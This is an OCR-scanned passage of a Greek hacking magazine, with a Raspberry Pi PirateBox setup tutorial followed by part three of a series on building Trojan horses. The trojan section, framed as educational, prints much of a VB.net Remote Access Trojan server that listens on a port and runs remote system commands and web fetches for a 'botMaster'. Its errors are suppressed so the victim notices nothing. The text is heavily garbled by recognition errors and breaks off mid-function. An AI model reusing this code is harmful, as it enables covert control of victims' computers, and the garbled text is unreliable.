Σαν πρῶτο βήμα εγκαθιστούµε την τελευταἰα ἐκδοση του Raspbian στο Raspberry 
Pi. H ἐκδοση στην onoia κάναμε τις δικὲς µας δοκιμές ἦταν αυτή που κυκλοφόρησε 


2. Ιδού µια καλἠ nnyrj: http: //elinux.org/RPi VerifiedPeripherals 
3. Κιεξάλλου, πώς va το κάνουμε; Debian > Fedora :D 
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στις 26 Ιουλίου (rou 2013). Τα βήματα nou ακολουθήσαμε για την εγκατάσταση του 
εν λόγω λειτουργικού εἶναι τα πλέον κλασικά: Αφού κατεβάσαμε ro image µε TO 
Raspbian, το περάσαμε στην κάρτα SD pe Tn βοήθεια του δωρεάν εργαλείου Win32D- 
iskImager. Στη συνέχεια τοποθετήσαμε την κάρτα στο Raspberry Pi, συνδἐσαµε το 
καλώδιο δικτύου στον router µας κι ενεργοποιἠσαµε τη συσκευή. Αφού δώσαμε λἰγο 
χρόνο yia να ολοκληρωθεί η εκκίνηση του συστήµατος, συνδεθήκαµε oro Rasp- 
berry Pi μέσω SSH. Πα να βρούμε τη διεύθυνση IP τη συσκευἠς τσεκάραμε ro log 
του τοπικού router, ενώ για τη σύνδεση SSH ano ra Windows χρησιμοποιήσαμε 
το αγαπημένο PuTTY! Αφού συνδεθήκαμε, τρἐξαµε ro raspi-config κι επιλέξαμε 
TO Expand Filesystem. Με αυτόν τον τρὀπο, εξασφαλἰσαμε OT! το σύστημα θα 
εκμεταλλεύεται OAN τη χωρητικὀτητα της κάρτας SD. Αμέσως μετά τερµατίσαµε το 
πρὀγραμμα, επιλἐγοντας To Finish. 


Επόμενο βήμα εἶναι η ενηµέρωση rou Raspbian, ὥστε όλα ra πακέτα rou συστήματος 


va αναβαθμιστούν στην nio πρὀσφατη ἐκδοση. Η μέθοδος που ακολουθούμε εἶναι 
πανομοιότυπη µε όλα τα συστήματα Debian που έχουμε συναντήσει: 


sudo apt-get update 
sudo apt-get upgrade 


Μόλις τελειώσει η παραπάνω διαδικασία, πραγματοποιούμε µια επανεκκίνηση TOU 
Raspberry Pi δίνοντας ἑνας sudo reboot. 


EP pi@raspberrypi: ~ 


μ. op 


β: μ. β. μβ. μ. β. ϱ) 


Καλό σύστημα εἶναι το αναβαθμισμένο σύστημα! Ειδικά στην 
περίπτωση rou Raspberry Pi, θέλουμε *riávra* την τελευ- 
traia ἐκδοση κάθε πακέτου. Av µη τι ἄλλο, εἶναι ζήτημα opa- 
Ans λειτουργίας και υποστήριξης rou ατελείωτου hardware 
που κυκλοφορεί Εκεί Έξω (ΤΜ). 
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Απαραίτητα πακέτα και ρυθμίσεις 


Πα τη λειτουργία rou PirateBox θα χρησιμοποιήσουμε το ομώνυμο πρὀγραμμµα, ano 
τον David Darts^. Αποστολήτου εἶναι ο συντονισμὀὸς όλων EKEIVWV TWV προγραμμάτων 
που απαιτούνται για τη λειτουργία της συσκευής ως PirateBox. Έτσι, αυτό που 
χρειάζεται να κάνουμε εμείς εἶναι να εγκαταστήσουµε τα απαιτούμενα προγράµµατα 
και να τροποποιήσουµε ορισμένες ρυθµἰσεις του λειτουργικού συστήματος... 


sudo apt-get install lighttpd dnsmasq hostapd iw 


Τα απαραίτητα προγράµµατα yia τη λειτουργία rou PirateBox εἶναι μόλις τέσσερα! 
Σε αυτά περιλαμβάνεται ἑνας web server, £vac DHCP (µε DNS) server, καθώς και 
τα hostapd και iw, που χρησιμοποιούνται για τη λειτουργία του WiFi adapter ως 
Access Point. Όλα αυτά τα προγράµµατα εἶναι εξ ορισμού ρυθµισµἑνα να ξεκινούν 
αυτόματα, μαζί µε ro λειτουργικὀ σύστημα. Εμείς όμως δεν θἐλουµε να συμβαίνει 
κάτι τέτοιο. Την ευθύνη για την ενεργοποἱηση και τη λειτουργία τους θα την ἐχει 
αποκλειστικἀ To PirateBox. Επομένως, πρέπει να σταματήσουμε τα σχετικἁ services 
και στη συνέχεια να τα αφαιρέσουμε και απὀ την εκκίνηση του συστήματος: 


sudo service lighttpd stop 
sudo service dnsmasq stop 
sudo service hostapd stop 


sudo update-rc.d lighttpd remove 
sudo update-rc.d dnsmasq remove 
sudo update-rc.d hostapd remove 


Ta πακέτα που χρειαζόμαστε εἶναι μόλις τέσσερα: Σε aurá συμπεριλαμβάνεται ἑνας 
HTTP server, ἑνας DHCP/DNS server αλλά και ra προγράμματα για τη διαχείριση 
του ασύρματου δικτύου. 


4. Πρὀκειται για Tov ἄνθρωπο που συνέλαβε την ιδέα των PirateBoxes. 
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fia pi@raspberrypi: ~ = 


GNU nano 2.2.6 File: /etc/network/interfaces Modified 


{ Read 9 lines 


Πα να λειτουργήσει σωστά το δίκτυο, θα πρέπει va ρυθµίσουµε TO 
Raspbian ώστε να µην ασχολείται µε την κἀρτα του ασύρματου δικτύου. 
Θέλουμε η ρύθμισή της να πραγματοποιείται ano ro PirateBox Και μόνο. 


Πριν προχωρήσουμε πρέπει va πραγµατοποιήσουµε pia ακόµα ρύθμιση. Πα τη owoTN 
λειτουργἱα του WiFi Access Point, ro Raspberry Pi δεν πρέπει να ἐχει τη δυνατότητα 
να συνδέεται σε ασύρματα δίκτυα ως πελάτης (client). Με άλλα λόγια, ro Rasp- 
berry Pi θα πρέπει να δέχεται συνδέσεις, αλλά να µην πραγματοποιεὶ ano μόνο του 
συνδέσεις σε ἄλλα Access Points. fi’ αυτή τη ρύθμιση πρέπει va επἐμβουµε στο 
αρχείο ρυθμίσεων του δικτύου: 


sudo nano /etc/network/interfaces 
Ano το περιεχόµενο του αρχείου δεν χρειάζεται va σβήσουμε τίποτα. Αρκεἰ va 
απενεργοποιἠήσουµε την αυτόματη ρύθμιση του WiFi, μετατρέποντας τις αντίστοιχες 
γραμμές σε σχόλια. Ως γνωστόν, αυτή η μετατροπή επιτυγχάνεται µε την προσθήκη 
µιας δίεσης (4) στο ξεκίνημα της EKGOTOTE γραμμής: 

auto lo 


iface lo inet loopback 
iface ethO inet dhcp 


# allow-hotplug wlan@ 

iface wlan@ inet manual 

# wpa-roam /etc/wpa supplicant/wpa supplicant.conf 
# iface default inet dhcp 


Εγκατάσταση PirateBox 


Μπορούμε τώρα va προχωρήσουμε στην εγκατάσταση του προγράµµατος Pirate- 
Box. Στην πράξη, θα κατεβάσουµε το πρὀγραμμα, θα ro τοποθετήσουμε σε ἑναν 
κατάλληλο φάκελο και θα φροντίσουμε να ξεκινά αυτόματα μαζί ue TO σύστημα: 
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cd ~ 

wget http://downloads.piratebox.de/piratebox-ws current.tar.gz 
tar -xzf piratebox-ws current.tar.gz 

cd piratebox/ 

sudo mkdir -p /opt 

sudo cp -r piratebox /opt 

sudo ln -s /opt/piratebox/init.d/piratebox /etc/init.d/piratebox 
sudo update-rc.d piratebox defaults 


H εκτέλεση των παραπάνω επιτυγχάνει OAG ὁσα περιγράψαμε προηγουμένως. 
Παρεμπιπτόντως, τώρα μπορούμε να ενεργοποιούµε ἡ απενεργοποιούµε To Pirate- 
Box σαν οποιαδήποτε ἄλλη υπηρεσία: 


sudo /etc/init.d/piratebox start (ή stop) 


Αποθήκευση σε USB 


Όταν ro PirateBox αποκτήσει πολλούς χρήστες και μεγάλη κίνηση, θα εἶναι φρόνιμο 
va αποθηκεύουµετα διακινούμενα δεδομένα σε κἄποιο εξωτερικὀ αποθηκευτικὀ μέσο 
κι ὀχι στην κάρτα SD. Ἐτσι, θα μπορούμε va διαχειριζόµαστε το σχετικὀ περιεχόμενο 
µε μεγαλύτερη ἄνεση και θα εἰμαστε σίγουροι OT! δεν κινδυνεύει να χαθεἰ στην 
περίπτωση που "χτυπήσει" το σύστημα. Προφανώς, αν θέλουµε να εξασφαλίσουµε 


2% PirateBox Send a file 
€ > Q fi [)192.1682.19 


A 


ΡΙΒΑΤΕΒΟΧ 


1. Learn more about the project here. 
2. Click button below to begin sharing. 
3. Browse and download files here. 


Choose File | No file chosen Send 


16:42:15 DeltaHacker: Hello! 
00:00:00 PirateBox: Chat and share files anonymously! 


Το Arró και απλο]κό μενού rou PirateBox. Εντάξει, δεν περιμέναμε 
τίποτα ομορφότερο ano Evav προγραμματιστή :Ρ 
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ge pi@raspberrypi: ~/RTL8188-hostapd-master/hostapd = 


Σε περίπτωση που η kápra δικτύου χρησιμοποιεί κάποιο περίεργο 

chipset της οικογένειας των RTL8188, 0a χρειαστεί να µεταγλωτ: 

τίσουµε µια ειδική ἐκδοση rou hostapd... 

ότι το PirateBox θα εἶναι μικρὸ και portable, η καλύτερη λύση εἶναι va στραφούμε 

σε ἑνα USB flash disk. Όπως εἶπαμε αρχικά, εμεἰς επιλἐξαµε Eva φλασὰάκι των 4GB, 

μόνο και μόνο επειδἠ το βρήκαμε στο συρτάρι µας. Όπως και va χει, όταν βρούμε το 

Φλασάκι που ταιριάζει στις ανάγκες µας, το πρώτο πράγµα που πρέπει να κάνουμε 

εἶναι να φροντίσουμε yia το αυτόματο mount απὀ το σύστημα. Ο απλούστερος 

τρόπος yia να πετύχουμε κάτι τέτοιο εἶναι να προσθέσουμε την κατάλληλη εγγραφἠ 
στο αρχείο fstab: 


sudo nano /etc/fstab 


Αν προσθέσουμε Eva φλασάκι oro Raspberry Pi, θα αντιστοιχηθεἰ αυτόματα στο 
device file /dev/sda, αφού το σύστημα δεν διαθέτει κἄποιο ἄλλο αποθηκευτικὀ 
μέσο του εἰδους. Επομένως, av το Φλασάκι µας διαθέτει pia μόνο κατάτμηση (το 
συνηθέστερο), θα μπορούμε να αποκτήσουμε πρὀσβαση σε αυτήν ano το device 
file /dev/sda1. Αν ἐχετε δημιουργήσει παραπάνω ano μία κατατμήσεις στο φλασάκι, 
τότε μάλλον γνωρίζετε αρκετά καλὰ NWG να τις χειριστεἰτε απὀ τη γραμμὴ εντολών 
του Linux. Μια καλἠ θέση για το mount point rou flash disk εἶναι ο κατάλογος / 
media/usbO. Έχοντας αυτά κατὰ νου, μπορούμε να δούμε τη γραμμή που πρέπει να 
προσθέσουμε στο αρχεἰο fstab: 


/dev/sda1 /media/usb@ vfat defaults 0 @ 


Δεν ξέρουμε av ro npoo£&are, αλλά η παραπάνω γραμμὴ προῦποθέτει ὁτι το Φλασάκι 
μας εἶναι φορμαρισμένο µε το σύστημα αρχείων FAT32. Στην περίπτωση nou εἶναι 
φορμαρισμένο µε ro NTFS, η γραμμή που θα προσθέσουμε στο fstab πρέπει να ἐχει 
την ακόλουθη µορφή: 
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sudo mount /dev/sda1 /media/usbO 
Χωρίς να εἶναι απαραίτητο, ntfs-3g uid-pi,gid-pi 0 0 
καλό θα ἦταν να χρησιμο- 
ποιήσουµε κόποιο USB WiFi 
adapter µε υποδοχή για 
εξωτερική κεραία. Σε αυτήν 
θα πρέπει να συνδέσουµε µια 
αρκετά δυνατή κεραία, yia va 
μας βρίσκουν εύκολα. 


Σε κάθε περίπτωση, αφού προσθέσουμε 
την κατάλληλη γραµµή oro fstab, 
apkei να το αποθηκεύσουµε και να TO 
κλείσουμε. Ειδικἁ στην περίπτωση του 
NTFS, όμως, θα πρέπει να κάνουμε και 
κάτι ακόμα. Συγκεκριµένα, θα πρέπει 
να εγκαταστήσουµε τον driver ονόματι 
NTFS-3G. Πα το λόγο αυτό, αρκεἰ να 
εκτελἐσουμµε TO εξής: 


sudo apt-get install ntfs-3g 


Στην επόμενη εκκίνηση του συστήματος 
--κι εφόσον το «φλασάκι µας εἶναι 
συνδεδεμένο-- θα μπορούμε να δούμε 
τα περιεχὀμενἁ του στον κατάλογο 
/media/usbO. Πριν ξεμπερδέψουμε µε 
TOV αποθηκευτικὀ χώρο, πρέπει να ενημερώσουμε το PirateBox yia την τοποθεσία 
των διακινούμενων αρχείων. Αυτό γίνεται πανεύκολα ano το αρχείο ρυθµἰσεων rou 
προγράμματος (εἶναι ro /opt/piratebox/conf/piratebox.conf). Εκεί, πρέπει να βρούμε 
τον ορισμὀ του SHARE. FOLDER και va του δώσουμε σαν τιμή το /media/usbO. 


Φθηνά και ιδιότροπα WiFi adapters 


Αν το WiFi adapter που διαθέτουμε υποστηρίζεται πλήρως ano το PirateBox5, 
μπορούμε να αρχίσουμε NON να χρησιμοποιούμε το νέο µας καμάρι! Ωστόσο, τα 
περισσότερα *qOnvà* USB WiFi adapters χρησιμοποιούν συνήθως ro Realtek RTL- 
8188CU. Παρακαλούμε, µην µας παρεξηγεἰτε. Δεν ἐχουμε τίποτα µε την εταιρεία 
— και TO εν λὀγω τσιπ εἶναι εξαιρετικὀ. Μόνο που η συνεργασία rou µε το εργαλεἰο 
hostapd εμφανίζει κάποια προβληματάκια. Αν ἐχετε κι εσεἰς Eva τέτοιο WiFi adapter, 
μπορείτε να ξεπεράσετε τα προβλήματα αφαιρώντας την ἐκδοση του hostapd που 
εγκαταστάθηκε ano ra repository του Raspbian και µεταγλωττίζοντας εκείνη nou 
παρέχει η ἴδια η Realtek. Ας δούμε τη σχετικἠ διαδικασία: 


sudo apt-get remove --purge hostapd 

wget https://github.com/jenssegers/RTL8188-hostapd/archive/v1.1.tar.gz 
tar -zxvf v1.1.tar.gz 

cd RTL8188-hostapd-1.1/hostapd 

make 

sudo make install 

sudo In -s /usr/local/bin/hostapd /usr/sbin/hostapd 


Δεν ξέρουμε av το συνειδητοποιἠσατε, αλλά τα παραπάνω βήματα δεν κατεβάζουν 
απολύτως τίποτα and τους servers της Realtek. O κώδικας nou κατεβάσαµε και 
μεταγλωττίσαμε προέρχεται ano ro GitHub και συγκεκριµένα απὀ ἑναν χρήστη που 
ἐλυσετο πρόβλημα ue rn λειτουργία του hostapd. Επιλἐξαµετη συγκεκριμένη ἐκδοση 
του προγράµµατος επειδἠ αντιμετωπίζει το πρὀβλημα nou περιγράψαµε νωρίτερα, 
EVO ταυτόχρονα εισάγει και μερικὲς βελτιώσεις για TO Raspberry Pi οι οποἰες δεν 


5. Ὅπως εἰπαμε νωρίτερα, αυτὀ μπορείτε να το τσεκάρετε εδώ: 
http://piratebox.aod-rpg.de/dokuwiki/doku.php/raspberry piratebox wifi 
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EP pi@raspberrypi: ~ 


GNU nano 2.2.6 File: /opt/piratebox/conf/piratebox.conf Modified 


Δε θέλουμε η αποθήκευση των δεδομένων να γίνεται στην 
κάρτα SD. Θέλουμε να γίνεται σε εξωτερική µονάδα αποθήκευ- 
σης που ἐχουμε προσαρτήσει (mount) στο /media/usbO. 


υπάρχουν στην εκδοχἠ της Realtek. H μεταγλώττιση απαιτεἰ αρκετά λεπτά και η 
εγκατάσταση στο σύστημα ολοκληρώνεται µε την εκτέλεση του make install. Τέλος, 
επειδἠ το εκτελέσιμο δεν τοποθετείται στον κατάλογο που γνωρίζει το PirateBox, 
δημιουργούμε και το κατάλληλο symbolic link. Τώρα απομένει να αλλάξουμε µια 
παράμετρο στο αρχείο ρυθμίσεων του hostapd, που περιλαμβάνει το PirateBox: 


sudo nano /opt/piratebox/conf/hostapd.conf 


Μέσα στο αρχείο θα πρέπει να βρούμε τον ορισμό του driver και va αλλάξουμε την 
τιμή Tou ano nl80211 σε rtl871xdrv. Αφού κάνουμε την αλλαγή, αποθηκεύουµε το 
αρχείο και το κλείνουμε. Αν πήγαν όλα καλά, μπορούμε να επανεκκινήσουµε το Pi- 
rateBox και να αρχίσουμε τη χρήση του κανονικά: 


sudo /etc/init.d/piratebox stop 
sudo /etc/init.d/piratebox start 


PirateBox µε καλώδιο 


Υπάρχουν περιπτώσεις nou για λόγους (πρὀσθετης) ασφάλειας θέλουμε το PirateBox 
να εἶναι προσβάσιμο µέσω καλωδίου και μόνο. Τι γίνεται όμως, τότε; Η λύση εἶναι 
αρκετά απλἠ, καθώς ro npòypappa PirateBox εἶναι αρκετά ευἑλικτο και υποστηρίζει 
µε άνεση αρκετά σενάρια χρήσης. 


Ας υποθέσουμε, yia αρχἠ, OT! θἐλουµε το PirateBox να αποτελεἰ *anAó μέλος” ενὸς 
δικτύου. Με ἆλλα λόγια, να εἶναι συνδεδεμένο χωρίς να παἰζει τον ρόλο του DHCP 
server ἠ/και του name server. Εδώ δε χρειάζεται va πειράξουμε τίποτα, καθώς το 
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e» pi@raspberrypi: ~ =- 0 


GNU nano 2.2.6 File: /etc/network/interfaces Modified 


Σε περίπτωση που θέλουμε ro PirateBox να λειτουργεί µέσω 
Ethernet κι ὀχι WiFi, θα πρέπει να εξασφαλίσουμε Óri η κάρτα 
δικτύου δεν ρυθμίζεται αυτόματα απὀ το σύστημα αλλά ...με TO 
χέρι (manually). 


PirateBox εξ ορισμού ακούει και στη διεύθυνση IP της κάρτας Ethernet! Τι γίνεται, 
όμως, ὀταν το δίκτυο δεν περιλαμβάνει κάποιον router και οι συσκευὲς συνδέονται 
µε Eva anAó hub; Twpa, ro Raspberry Pi πρέπει να παἰξει τον ρόλο του DHCP αλλά 
*kal* του DNS! Οι αλλαγές που θα πρέπει να κάνουμε βρίσκονται στο αρχείο pirate- 
box.conf: 


sudo nano /opt/piratebox/conf/piratebox.conf 


Μέσα σε auró θα πρέπει va εντοπἰσουμε τους ορισμούς δύο μεταβλητών (INTER- 
FACE και DNSMAW. INTERFACE) και να δώσουμε το ὀνομα του interface της κάρτας 
δικτύου (ethO). Οι δύο αλλαγές φαίνονται παρακάτω: 


#----------------- Configuration for DNSMASQ ἃ IF-Setup ----------------- # 
# Name of the wlan interface 

INTERFACE-"ethe" 

# On which interface DNSMASQ should listen. -i is the parameter for 
dnsmasq 

# Make it empty to disable 

DNSMASQ_INTERFACE="ethe" 


Ακολούθως πρέπει va επέµβουµε και στο αρχείο ρυθμίσεων του δικτύου, για va 
εξασφαλίσουµε ὁτι η κάρτα ενσύρματης δικτύωσης δεν θα ρυθμίζεται αυτόματα. 
Όπως θα θυμόσαστε, κάτι παρόμοιο εἰχαμε κάνει και για την κάρτα WiFi. Μόνο nou 
τώρα η σχετικἠ ρύθμιση πραγματοποιείται διαφορετικἀ. Παρατηρείστε τη γραμμὴ 
που αφορά στο eth0: Τελειώνει µε την επιλογἠ manual: 
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sudo nano /etc/network/interfaces 


iface lo inet loopback 
iface ethð inet manual 


Meta ano τα παραπάνω, apkei va πραγµατοποιήσουµε µια επανεκκίνηση. Πλέον, 
ΤΟ Raspberry Pi θα µπορεί να αποτελέσει την καρδιὰ ενός ενσύρματου δικτύου και 
φυσικὰ, να λειτουργήσει σαν Eva PirateBox! 


Αντί επιλόγου 


‘Eva PirateBox μπορεί να κλέψει την παράσταση εὑκολα, σε µία εκδήλωση nou αφορἁ 
στους υπολογιστὲς και στην ασφάλεια. Γενικότερα, Eva PirateBox µπορεἰ να φέρει 
χαρὰ σε όλους ὁσοι χαμογελούν στο ἄκουσμα της λέξης "πειρατής". Φυσικά, µια 
τέτοια συσκευἠ δεν προορἰζεται αποκλειστικἁ για συγκεντρώσεις αυτού του τύπου. 
Μια apkerà ενδιαφἐρουσα χρήση θα ἦταν σε κἄποια πολυκατοικία ἡ Φοιτητική 
εστία, στην οποία οι ἑνοικοι θέλουν va διαμοιράζονται αρχεία μεταξύ τους και 
πάντα ανώνυμα. Όπως καταλαβαίνετε, ἑνα PirateBox μπορεί να χωρέσει σε πολλά 
και διαφορετικἀ περιβάλλοντα. Το μόνο που περιορίζει τη χρησιμὀτητὰ του εἶναι η 
φαντασία µας. (Σ.τ.Ε. Αμάν πια αυτή η φαντασία µας — ἐχει βαλθεἰ va περιορἰζει το 
οτιδήποτε! Ἡ μήπως ὀχι;) 


18 19 20 21 


To δικὀ µας *popnTo* PirateBox εἶναι πανέτοιμο! To μόνο που λείπει 
εἶναι µια μπαταρία και µια τσάντα για va το μεταφέρουμε :D 
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Μελέτη kai κατασκευή Δούρειων Innov [μέρος 3] 


Previously on Trojans: Meta τα άρθρα στα τεύχη 021 και 022 έχουμε 
καταφέρει να φτιάξουμε Eva npóypappa το οποίο μπορεί να μεταφέρει 
οποιοδήποτε ἆλλο πρόγραμμα -- φυσικἀ και malware! Έχουμε δηλαδἠ 


φτιάξει £vav Δούρειο Ίππο. Ano 'δὼ και πέρα, όμως, τι γίνεται; Nac 
συμπεριφέρονται τα τελευταῖας γενιάς Trojans, ano τη στιγμή nou θα 
εγκατασταθούν σε κἄποιο σύστημα; Ποιες αδυναμίες εκμεταλλεύονται; 


Ηελέτη και κατασκευή Δούμειων ἵππων [Γμέρο 
LT 


Όταν πριν ano àiya χρόνια βγἠκε στη δημοσιότητα ο κὠδικαςτης "μητέρας όλων των 
Trojans", του ZeuS, άλλαξαν πάρα πολλά πράγματα στον κόσμο της ασφάλειας. Στο 
παρὸν ἀρθρο θα διερευνήσουµε ro πὠςθα μπορούσε κανεἰς να μιμηθεί, στοιχειωδώς 
ἑστω, τη λειτουργικότητα ενὸς τέτοιου θηρίου. Συγκεκριµένα, θα δούμε τις βασικὲς 
αρχές για την κατασκευἠ ενὸς RAT (Remote Access Trojan), το οποίο θα επιτρέπει 
τον απομακρυσμένο ἐλεγχο του μολυσμένου PC. Δεν φιλοδοξούμε Φυσικά να 
αντιγράψουμε το ZeuS, οὐτε και να δώσουμε στη δημοσιότητα Eva ακόμα RAT. 
Θέλουμε όμως να δείξουμε πόσο εὐκολα εἶναι τα πρώτα στάδια ανάπτυξης ενὸς 
επικἰνδυνου δικτυακού ὁπλου. Εξάλλου, εξετάζοντας τη λειτουργία αυτών των 
προγραμμάτων θα μπορούμε ν΄’ αναπτύσσουμετις αντίστοιχες ἅμυνες απὀ καλύτερη 
θέση. Πα καθαρά εκπαιδευτικούς λόγους, το πρὀγραμμά µας αναπτύχθηκε σε VB.net 
(στο Visual Studio 2008) και αποτελείται ano δύο µέρη: 


ο Tov client (ἡ botMaster): Το πρόγραµµα που Χρησιμοποιεί ο εισβολἑας/επιτι- 
θέμενος. 


ο Tov server: To πρὀγραμμα nou ἐχει εγκατασταθεἰ στο PC του θύματος και TO 
οποίο περιμένει EVTOAEG απὀ rov botMaster. 


Ανάλυση rou Server 


O server αποτελεἰ µια εφαρμογἠ yia τη γραμμή εντολών, που μόλις τρέξει περιμένει 
EWG ὁτου δεχτεὶ κἀποια σύνδεση σε συγκεκριµένο δικτυακὀ port. H εφαρµογή µας 
ανοίγει ἑνα παράθυρο γραμμὴς εντολών, yia να εμφανίζει τα αποτελέσµατα της 
επικοινωνίας µε rov client (βλ. εικὀνα 1). Φυσικά, κανένα αληθινὸ Trojan δεν εἶναι 
τόσο ανόητο ὥστε να κάνει κάτι τἐτοιο. Θα ἦταν σαν να φώναζε "Hey! I am here, 
you noob!". Προφανώς, τέτοια trollapiouara δεν επιτρέπονται για Eva σοβαρὀ Tro- 
jan. Το nporo πράγμα που κάνει o server εἶναι να καθορίσει την IP και την πόρτα 
του. Αυτό γίνεται εὐκολα, ως εξἠς: 
' Must listen on correct port- must be same as port client wants to 

connect on. 


Dim portNumber As Integer - 8000 ' My default port. 
Dim serverIP As IPAddress - IPAddress.Parse("127.0.0.1") ' My default IP. 
Dim i As Integer - 0 


' If arguments exist the use them overwriting the defaults. 


While i « args.Length 


Select Case args(i) 


Case "/p" ' Port Flag param. If not entered port 8000 will 
be used. 
i += 1 ' Skip to the actual port parameter. 


portNumber = Integer.Parse(args(i)) 


Case "/h" ' Hosts IP Flag param. If not entered, 127.0.0.1 
will be used. 


i += 1 ' Skip to the actual IP parameter. 
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serverIP = IPAddress.Parse(args(i)) 
End Select 
i += 1 ' Skip to the next argument. 


End While 


Απ΄ ò Ti βλέπετε, av δεν Χρησιμοποιηθεἰ κάποια σχετική παράμετρος κατὰ την 
EKTEAEON TOU, το πρὀγραμμα ακούει στην IP 127.0.0.1 (δηλαδἠ oro τρέχον box) και 
στην πόρτα 8000. Αμέσως μετά ακολουθεἰ ro loop yia τη σύνδεση µε Tov client: 


Dim tcpListener As New TcpListener(serverIP, portNumber) 


πι, 
While (1 - 1) 
tcpListener.Start() 


Console.WriteLine("Server is listening on (0):(1)...", serverIP, 
portNumber) 


Waiting for a client to be connected. 
Dim tcpClient As TcpClient = tcpListener.AcceptTcpClient() 


End While 
Catch e As Exception 
'A serious error occured. Display description in the console. 
Console.WriteLine(e.ToString()) 
Finally 
tcpListener.Stop() 
End Try 


Αρχικά, ορἰζουµε &vav listener στην IP και στην πόρτα που ορίσαμε προηγουμένως. 
Κατόπιν ξεκινάει ἑνας βρὀχος while/end while, μέσα σε Eva block try/catch. Αυτό 
το κάνουμε διότι σεβόμαστε τον κὠδικα που γράφουμε και δεν θέλουμε να τον 
αφήσουμε στο έλεος του κάθε compiler ἡ λειτουργικού συστήματος. To try/catch 
εἶναι πρακτικἀ απαραίτητο, WOTE ro πρὀγραµµα να "καταπνίγει" κάθε exception που 
µπορεί να προκύψει και το θύμα να µη βλέπει κανένα ανησυχητικὀ μήνυμα. 


Μόλις συνδεθεἰ κάποιος client στον server, η εντολἠ AcceptTcpClient θα επιστρέψει 
έναν client handler στην μεταβλητή tcpClient. Ano εκεἰ και πέρα ξεκινά η επικοινωνία 
μεταξύ των δυο προγραμμάτων. 


H λογική που έχουμε υιοθετήσει για την επικοινωνἰα εἶναι η εξής: Το nporo byte κάθε 
πακέτου δεδομένων λειτουργεἰ ως KWOIKOG που περιγράφει το εἶδος του πακέτου, 
ώστε ο server να ξέρει πὠς να το χειριστεί. Έχουμε και λέμε, λοιπὀν: 


ο Κάθε πακέτο που αρχίζει µε "1" θεωρείται σαν "ping request" και o server and- 
ντάει µε Eva "I'm here baby!" 
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c:\work\rat >TCPSever.exe /u Zh 6.128 
Server is listening on QB ού. 78660... 


Εικόνα 1 


ο Κάθε πακέτο που ξεκινά µε "2" θεωρείται σαν Eva web request (n.x., £va URL). 
Ὅταν λάβει TETOIO πακέτο o server, πραγματοποιεί τη σχετικἠ σύνδεση και επι- 
στρἐφει το αποτέλεσμα (στο παράδειγμά µας τη σελἰδα HTML) στον botMaster. 


ο Κάθε πακέτο που ξεκινά µε "3" θεωρείται σαν Eva system command request 
(n.x., η EVTOAN "dir"). Σε αυτή την περίπτωση o server εκτελεί την αντίστοιχη 
εντολἠ και επιστρέφει το αποτἑλεσμὰ της (στο παράδειγμά µας To file listing) 
στον botMaster. 


Όλα τα παραπάνω υλοποιούνται στο απὀσπασµα nou εἶδαμε προηγουμένως και 
συγκεκριµένα στην περιοχἠ ónou τοποθετήσαμε ra αποσιωπητικἀ. O κὠδικας που 
παραλείψαμε προηγουμένως, εἶναι ο ακόλουθος: 


Console.WriteLine("Connection accepted.") 
' Get the stream 


Dim networkStream As NetworkStream - tcpClient.GetStream() 


Read the client command into an 8k buffer. It could not be greater huh? ;) 
Dim bytes(8000) As Byte 
networkStream.Read(bytes, 0, 8000) 


Return the data received from the client to the console. 


Dim clientdata As String - Encoding.ASCII.GetString(bytes) 


Dim iPos As Integer = InStr(clientdata, Chr(@)) 
If iPos » 0 Then clientdata - Left(clientdata, iPos - 1) 
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'Acccording to the packet (its 1st letter) send by the client we answer 


If clientdata.Substring(0, 1) = "1" Then ‘Command Type #1: R u Up 
request. 


Dim responseString As String = "I'm here baby!" 
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(responseString) 
networkStream.Write(sendBytes, 0, sendBytes.Length) 


ElseIf clientdata.Substring(@, 1) = "2" Then ‘Command Type #2: A web 
request. 


'I consider the web request command as: "2http://www.google.com", 


'so, I send the command to the "gotoWeb" function w/o its first 
character. 


Dim sTheURL As String = clientdata.Substring(1, clientdata.Length - 1) 
TCPSrv.gotoWeb(networkStream, sTheURL) 


ElseIf clientdata.Substring(@, 1) = "3" Then 'Command Type #3: A system 
command. 


'I consider the web request command as: "3dir", 
Dim sTheCommand As String = clientdata.Substring(1, clientdata.Length - 1) 
TCPSrv.gotoSystemCommand(networkStream, sTheCommand) 
Else 
‘Unhandled command request found! 
Dim responseString As String = "Oops... I dont know this command!" 
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(responseString) 
networkStream.Write(sendBytes, 0, sendBytes.Length) 
End If 


tcpClient.Close() 
tcpListener.Stop() 


Νομίζουμε ὁτι ο κὠδικας εἶναι apkerà απλὸς και τα σχόλια ἄφθονα! Με άλλα λὀγια: 
To πρόγραμμα μιλάει μόνο του :) Μην σας προβληματίζει το ὁτι περιγράφουμε τον 
κώδικα αποσπασματικά. Μπορείτε να κατεβάσετε ολόκληρο ro project που φτιάξαμε 
στο Visual Studio, απὀ το http://bit.ly/dhe24trojansrc. Προς το napóv, ὁμως, 
συνεχίστε το διάβασμα. Δώστε βάση στην εντολἠ networkStream.Write(sendBytes, 
0, sendBytes.Length). Ας πάρουμε την περίπτωση 1. Πρόκειται για τον τρόπο που 
χρησιμοποιούμε για va στέλνουμετην απάντηση στον client (μέσω sockets, κλασικά). 


Πατην περίπτωσητης κλήσηςτου HTTP request ἐχουμε φτιάξειτη συνάρτηση TCPSrv. 
gotoWeb. Εκεἰ πραγματοποιείται ὀλη η εργασία: Καλείται το URL και επιστρέφονται 
τα αποτελέσµατα στον client. Προσέξτε rov κὠδικα: 
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' This is a very simple function to access a web server (via HTTP), get 
the server response, 


' store this response to a string and send it via TCP to the client. 


Shared Sub gotoWeb(ByVal netStream As NetworkStream, ByVal sUrl As 
String) 


Dim sendBytes As [Byte]() 
Dim sWebHtmlResponse As String 


Try 


Create a WebRequest' object with the specified url 
Dim myWebRequest As WebRequest = WebRequest.Create(sUr1) 


'Send the WebRequest' and wait for response. 


Dim myWebResponse As WebResponse - myWebRequest.GetResponse() 


Dim sPageEncoding As String - DirectCast(myWebResponse, 


System.Net.HttpWebResponse).CharacterSet 


‘Call method 'GetResponseStream' to obtain stream associated with the 
response object 


Dim ReceiveStream As Stream - myWebResponse.GetResponseStream() 


‘If the operating system has the encoding of the web page then use 
it, otherwise use the default. 


Dim encode As Encoding 
Try 
encode - System.Text.Encoding.GetEncoding(sPageEncoding) 
Catch ex As Exception 
encode - System.Text.Encoding.Default 
End Try 


' Pipe the stream to a higher level stream reader with the required 
